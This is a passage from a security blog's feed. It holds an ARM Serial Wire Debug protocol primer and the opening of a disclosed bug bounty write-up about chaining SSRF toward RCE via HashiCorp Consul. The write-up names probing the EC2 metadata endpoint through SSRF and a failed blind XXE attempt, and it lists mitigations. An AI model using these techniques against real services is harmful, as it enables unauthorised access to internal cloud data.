in order to better understand SWD, and build my own SWD client implementation
in Python. The intention being to both better understand the protocol, and
also provide an easily extensible set of modules which may be used in further
research.&lt;/p&gt;

&lt;p&gt;So, with all of this said…&lt;/p&gt;

&lt;h2 id=&quot;down-the-rabbit-hole&quot;&gt;Down the rabbit hole.&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/400px-Down_the_Rabbit_Hole.png&quot; alt=&quot;Well... Fuck.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This series of posts will detail my encounters with SWD, specifically: how the
protocol functions, notable caveats, and how to bend it to your will. As these
posts have been compiled by collating notes, there may be errors present. If
you see any problems please reach out and I will ensure they are corrected -
with credit, of course! :)&lt;/p&gt;

&lt;p&gt;Finally, a quick disclaimer as to the content of these posts:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Before acting on any information below, you should ensure that all
parameters have been validated against the official documentation before
use! Failure to do so could lead to device damage, and will most certainly
lead to undefined behaviour.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;swd&quot;&gt;SWD?&lt;/h2&gt;

&lt;p&gt;Serial Wire Debug (SWD) is an alternate debugging interface to JTAG. This
interface can be used, with an appropriate debugger, to perform a number of
useful operations, such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debug microprocessor cores (MCUs) attached to the system.
    &lt;ul&gt;
      &lt;li&gt;This includes display and modification of registers and memory.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Debug components that exist WITHIN a System On Chip (SoC).
    &lt;ul&gt;
      &lt;li&gt;Provides access to debug components with no directly exposed pins.&lt;/li&gt;
      &lt;li&gt;This assumes that the component is connected to a debug bus internally.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Access JTAG interfaces of devices attached to the system.
    &lt;ul&gt;
      &lt;li&gt;This requires an appropriate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JTAG-AP&lt;/code&gt; Access Port (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This post is written regarding SWD as it exists in ADI v5 (ARM Debug
Interface), per &lt;a href=&quot;https://static.docs.arm.com/ihi0031/c/IHI0031C_debug_interface_as.pdf&quot;&gt;ARM IHI 0031C&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;lines&quot;&gt;Lines&lt;/h3&gt;

&lt;p&gt;Unlike JTAG, SWD only requires two lines for operation: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDCLK&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; - I/O
    &lt;ul&gt;
      &lt;li&gt;This is driven by both the host AND the target, depending on dataflow.&lt;/li&gt;
      &lt;li&gt;When the host controls the line, bits are banged onto this wire on the
falling edge of the clock.&lt;/li&gt;
      &lt;li&gt;When the target controls the line, bits are banged onto this wire on the
rising edge of the clock.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWCLK&lt;/code&gt; - Clock
    &lt;ul&gt;
      &lt;li&gt;Provides clocking of the debug interface.&lt;/li&gt;
      &lt;li&gt;This is driven by the host.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The comments related to the rising or falling edge of the clock may be better
explained by the following diagram:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-Rise-Fall.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;For context, let’s assume that the host has just written a request packet onto
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt;. Let’s also assume that the above ‘capture’ is taken after this
request has already been written, and control of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; has been transferred
to the target. Now, don’t worry too much about the terminology yet, I will go
into more detail on this later, just be aware that the host has REQUESTed
something from the target.&lt;/p&gt;

&lt;p&gt;In this case, the host would read a response of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0110&lt;/code&gt; from the target.&lt;/p&gt;

&lt;p&gt;If the above scenario were reversed, and this capture was of target reading a
REQUEST from the host, the value on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; would be read by the target as
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0100&lt;/code&gt;.&lt;/p&gt;

&lt;h3 id=&quot;bit-order&quot;&gt;Bit Order&lt;/h3&gt;

&lt;p&gt;An important caveat to note when working with SWD - per section 4.2.4 of
&lt;a href=&quot;https://static.docs.arm.com/ihi0031/c/IHI0031C_debug_interface_as.pdf&quot;&gt;ARM IHI 0031C&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;All data values in SWD operations are transferred LSB first.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As a result of this, data on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; line will appear to be backwards if
read with a debugger which doesn’t automatically flip the bit order; meaning
that the least significant bit (LSB) will be placed on the wire FIRST,
instead of last.&lt;/p&gt;

&lt;p&gt;In order to better explain, consider the following example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-Bit-Order.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The last clock cycle is being ignored here (hence the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X&lt;/code&gt;), as in this context
it would be interpreted as a turnround sequence by the host. This will be
covered later, but this is why we’re only interpreting THREE bits when there
are four in the diagram! :)&lt;/p&gt;

&lt;p&gt;In line with the above diagram, and assuming that this was an SWD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACK&lt;/code&gt; packet
written onto &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; by the target, a value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt; would be read by the
host. If taken at face value, and as it appeared on the wire, this response
would indicate an SWD ACK &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt;) was being sent in response to our
most recent request. However…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;THIS IS NOT THE CASE, THE RESPONSE IS ACTUALLY AN SWD ACK &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAULT&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b100&lt;/code&gt;).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This is due to all data on the wire being represented in LSB order. In order
to flip - so that the most significant bit (MSB) is first - simply reverse the
order of the bits:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt; becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b100&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b100&lt;/code&gt; becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;…et cetera&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;dp-vs-ap-vs-dap&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; vs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DAP&lt;/code&gt;?!&lt;/h3&gt;

&lt;p&gt;Before we continue, we should clarify a few terms used heavily throughout,
namely port types:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Debug Port (DP).&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;The interface to which the debugger is physically connected.&lt;/li&gt;
      &lt;li&gt;Provides external access to the system.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Access Port (AP).&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;Exist within the system and are accessed externally via a Debug Port (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt;).&lt;/li&gt;
      &lt;li&gt;Though there may be more, there &lt;strong&gt;WILL&lt;/strong&gt; be at least one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; in given system.&lt;/li&gt;
      &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; to interact with is specified via the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;APSEL&lt;/code&gt; value in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; register.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Debug Access Port (DAP).&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The placement, and differences between these ports, may be better explained
by the following diagram:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-System.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the above diagram, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWD&lt;/code&gt; represents the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWD&lt;/code&gt; protocol being spoken over a
set of two wires.&lt;/p&gt;

&lt;h3 id=&quot;packets&quot;&gt;Packets&lt;/h3&gt;

&lt;p&gt;Data transfers in SWD are ‘packet’ based, and successful requests will consist
of three components:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;8-bits - Request Header.
    &lt;ul&gt;
      &lt;li&gt;Sent from the host-to-target&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;3-bits - An Acknowledgement (ACK).
    &lt;ul&gt;
      &lt;li&gt;Sent from the target to the host.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;33-bits - A Payload.
    &lt;ul&gt;
      &lt;li&gt;32-bits for data, and 1-bit for parity.&lt;/li&gt;
      &lt;li&gt;This may be host-to-target in the case of a write.&lt;/li&gt;
      &lt;li&gt;This may be target-to-host in the case of a read.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All together a request will be 46 bits long, with one bit per clock
cycle.&lt;/p&gt;

&lt;p&gt;Those with a keen eye will note that there are only 44-bits accounted for in
the list above, rather than 46. This is due to 2-bits being used for the two
turnround sequences required to transfer control of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; line
between the host and target.&lt;/p&gt;

&lt;p&gt;These turnround sequences would be inserted in slightly different places
depending on whether this was a read or write request:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Read
    &lt;ul&gt;
      &lt;li&gt;One ‘turn round’ would be inserted after the request header is written.&lt;/li&gt;
      &lt;li&gt;One ‘turn round’ would be inserted after the payload is written.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Write
    &lt;ul&gt;
      &lt;li&gt;One ‘turn round’ would be inserted after the request header is written.&lt;/li&gt;
      &lt;li&gt;One ‘turn round’ would be inserted after the ACK is written.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This sequence is needed to transfer control of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt;
line between host and target as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; being driven
by either host or target. The turnround sequence is used to yield control and
avoid both host and target attempting to write to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; simultaneously
(which would cause contention).&lt;/p&gt;

&lt;p&gt;One caveat to note here is that in the case of a request failure, the payload
may be omitted and only the ACK returned.&lt;/p&gt;

&lt;h4 id=&quot;request-header&quot;&gt;Request Header&lt;/h4&gt;

&lt;p&gt;The request header has a very simple and fixed format. It is 8-bits long, and
instructs the target whether the request is being made to read or to write to
it, whether it is intended for an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt;, and the address of the target
register.&lt;/p&gt;

&lt;p&gt;The format of a request packet header is as follows - per section 4.3 of
&lt;a href=&quot;https://static.docs.arm.com/ihi0031/c/IHI0031C_debug_interface_as.pdf&quot;&gt;ARM IHI 0031C&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-Request-Header.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;START&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This should always be high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;APnDP&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;High (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;) for access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AP&lt;/code&gt; access.&lt;/li&gt;
      &lt;li&gt;Low (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0&lt;/code&gt;) for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; access.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RnW&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;High (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;) for READ access.&lt;/li&gt;
      &lt;li&gt;Low (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0&lt;/code&gt;) for WRITE access.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADDR[0:1]&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Two bits representing the register to access.&lt;/li&gt;
      &lt;li&gt;This address is once again written to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SWDIO&lt;/code&gt; LSB first!&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PARITY&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;In the case of a request packet, this field is high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;) if the number
of high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;) bits in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;APnDP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RnW&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADDR&lt;/code&gt; fields combined is
odd. Low (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0&lt;/code&gt;) if an even.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STOP&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This should always be low (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PARK&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This should always be high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Consider the following examples:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-0b10100101.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This above would indicate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;READ&lt;/code&gt; request of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDR&lt;/code&gt; register
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b00&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-0b10001101.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This would indicate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE&lt;/code&gt; request to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; register (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b10&lt;/code&gt;).
Once again, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADDR&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; register is LSB first, so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b10&lt;/code&gt;
becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b01&lt;/code&gt; on the wire.&lt;/p&gt;

&lt;h4 id=&quot;acknowledgement-ack&quot;&gt;Acknowledgement (ACK)&lt;/h4&gt;

&lt;p&gt;The format of an ACK is as follows - per section 4.3 of
&lt;a href=&quot;https://static.docs.arm.com/ihi0031/c/IHI0031C_debug_interface_as.pdf&quot;&gt;ARM IHI 0031C&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-ACK.png&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The mapping of valid responses of an ACK are as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt;)
    &lt;ul&gt;
      &lt;li&gt;“Everything’s fine.”&lt;/li&gt;
      &lt;li&gt;This will appear on the wire LSB first (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b100&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WAIT&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b010&lt;/code&gt;)
    &lt;ul&gt;
      &lt;li&gt;“Try again in a bit, I’m busy.”&lt;/li&gt;
      &lt;li&gt;This will appear on the wire LSB first (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b010&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAULT&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b100&lt;/code&gt;)
    &lt;ul&gt;
      &lt;li&gt;“Something went wrong.”&lt;/li&gt;
      &lt;li&gt;This will appear on the wire LSB first (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b001&lt;/code&gt;).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One caveat for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAULT&lt;/code&gt; response is that when a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; has responded with
this result, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; will only then reply to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;READ&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IDP&lt;/code&gt; register.
    &lt;ul&gt;
      &lt;li&gt;Used to identify the device.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;READ&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CTRL/STAT&lt;/code&gt; register.
    &lt;ul&gt;
      &lt;li&gt;Used to read the status bits which may indicate cause of failure.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE&lt;/code&gt; of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DP&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ABORT&lt;/code&gt; register.
    &lt;ul&gt;
      &lt;li&gt;Used to reset status bits, clearing the fault.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;payload&quot;&gt;Payload&lt;/h4&gt;

&lt;p&gt;The logical mapping inside of the payload will differ depending on the type of
request, however both read and write payloads look the same on the wire from
a conceptual standpoint. This format is as follows - per section 4.3 of
&lt;a href=&quot;https://static.docs.arm.com/ihi0031/c/IHI0031C_debug_interface_as.pdf&quot;&gt;ARM IHI 0031C&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2018/SWD-Request-Payload.png&quot; alt=&quot;Payload&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RDATA&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WDATA&lt;/code&gt; in this diagram simply refers to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DATA&lt;/code&gt; in a read or write
context - respectively. This is only used here to demonstrate that the payload
occupies the same space for both read and write operations.&lt;/p&gt;

&lt;p&gt;Finally, the parity calculation used to populate the parity bit is performed
in the same way as the request header. If the number of bits in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DATA&lt;/code&gt;
field that are high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;) is odd, this parity bit will be high (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b1&lt;/code&gt;). If
even, the parity bit will be low (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0b0&lt;/code&gt;).&lt;/p&gt;

&lt;h2 id=&quot;fin&quot;&gt;FIN.&lt;/h2&gt;

&lt;p&gt;…Phew! Okay, that’s enough overview for now. Although this post has been
very dry, it should make the next much easier. The next post should contain
information related to interacting with SWD via an FT2232H via Python, and
how to ‘map’ the DAP from SWD.&lt;/p&gt;

&lt;p&gt;Hopefully I’ll have some PoC code ready to go, too!&lt;/p&gt;

&lt;h2 id=&quot;thanks&quot;&gt;Thanks&lt;/h2&gt;

&lt;p&gt;Cheers to &lt;a href=&quot;https://twitter.com/SiouxDenim&quot;&gt;@SiouxDenim&lt;/a&gt; and
&lt;a href=&quot;https://twitter.com/agustingianni&quot;&gt;@AgustinGianni&lt;/a&gt; for proofreading this
post and correcting my terrible grammar.&lt;/p&gt;
</description>
        <pubDate>Sat, 29 Dec 2018 00:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2018/12/29/Messing-with-SWD-Part-I.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2018/12/29/Messing-with-SWD-Part-I.html</guid>
        
        
      </item>
    
      <item>
        <title>Pivoting from blind SSRF to RCE with HashiCorp Consul</title>
        <description>&lt;p&gt;This post details an example of chaining three relatively trivial vulnerabilities to achieve remote code execution on a Bug Bounty target. These vulnerabilities alone would have likely been of low severity, but when used together they were scored and rewarded together as a High Priority (P1) issue.&lt;/p&gt;

&lt;p&gt;This vulnerability was originally reported to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; on the 24th of April, rewarded as a valid finding on the 27th of April, and patched by the 1st of May. Not only was the communication with both the Bugcrowd ASE and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; fantastic, a patch was rolled out not long after initial triage and the vulnerability confirmed resolved.&lt;/p&gt;

&lt;p&gt;It’s worth noting at this stage that the HashiCorp Consul ‘misconfiguration’ which was utilized by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; seems to be fairly common - given that the ACLs were at their shipped default(s). This use of Consul via SSRF (Server Side Request Forgery) / RFI (Remote File Inclusion) vulnerabilities to escalate privileges or disclose information has been used during other bounty programs with a good amount of success.&lt;/p&gt;

&lt;p&gt;Mitigating these attacks can be performed by strictly filtering user-provided URLs, keeping HTTP libraries up-to-date, ensuring that ACLs and authentication is configured in Consul and other tools that may expose similar RESTful interfaces (such as Apache Solr, ElasticSearch, etc), and, if possible, don’t fetch remote resources on the client’s behalf in the first place.&lt;/p&gt;

&lt;h2 id=&quot;bring-your-own-soap&quot;&gt;Bring-Your-Own SOAP!&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/soap.jpg&quot; alt=&quot;Well, not quite.&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While doing an initial walk through of one of the web applications in-scope of a bounty program run by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$provider&lt;/code&gt; an interesting feature piqued my interest. This feature allowed a logged in user to provide the URL for an external web service which would be contacted in order to load some data. Looking further, the communication between the web application and the user-provided URL was in a well defined format which utilized SOAP for data exchange. This immediately put this part of the application at top of the ‘things to look into’ list, as accepting user-provided URLs and retrieving data on their behalf is notoriously difficult to implement in a secure manner.&lt;/p&gt;

&lt;h3 id=&quot;go-fish&quot;&gt;Go Fish?&lt;/h3&gt;

&lt;p&gt;Given that a complete URL for an external web service was able to be provided, I first attempted to use this feature to fetch and return data from a service that shouldn’t be publicly accessible - being the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;instance-id&lt;/code&gt; ‘endpoint’ in the Amazon EC2 metadata service (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://169.254.169.254/latest/meta-data/instance-id&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Unfortunately, it was quickly found that although the service appeared to successfully query the meta-data service, the code handling the ‘fetch’ was written in such a way that if the remote service returned an HTTP 200, the body of the request would be fed directly into an XML parser. As a result of this design, the web application simply raised a generic error that the remote service had returned invalid XML.&lt;/p&gt;

&lt;p&gt;A subsequent fetch for a document that did &lt;em&gt;NOT&lt;/em&gt; exist found that on HTTP 4XX errors, the response from the HTTP request would be rendered inside of the error returned to the user.  However, while this is neat I couldn’t see any cases where sensitive data may may be returned AND the response code would be returned in the 4XX range. After some additional testing, it was found that even when the remote service responded with valid XML, content was never returned to the user; only a basic ‘success’ message was ever returned.&lt;/p&gt;

&lt;h3 id=&quot;external-entities&quot;&gt;External Entities?&lt;/h3&gt;

&lt;p&gt;Given that it didn’t seem possible to return the content of a successfully fetched external resource, the next thought was to attempt to use XXE (XML External Entities) in order to fetch a document from the local machine (using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;file:///&lt;/code&gt; URI) and push it to a remote endpoint using a “blind” XXE style attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2017/NoDice.jpg&quot; alt=&quot;No dice&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, it seemed that the XML parser had been properly configured to ignore external entities. Boo.&lt;/p&gt;

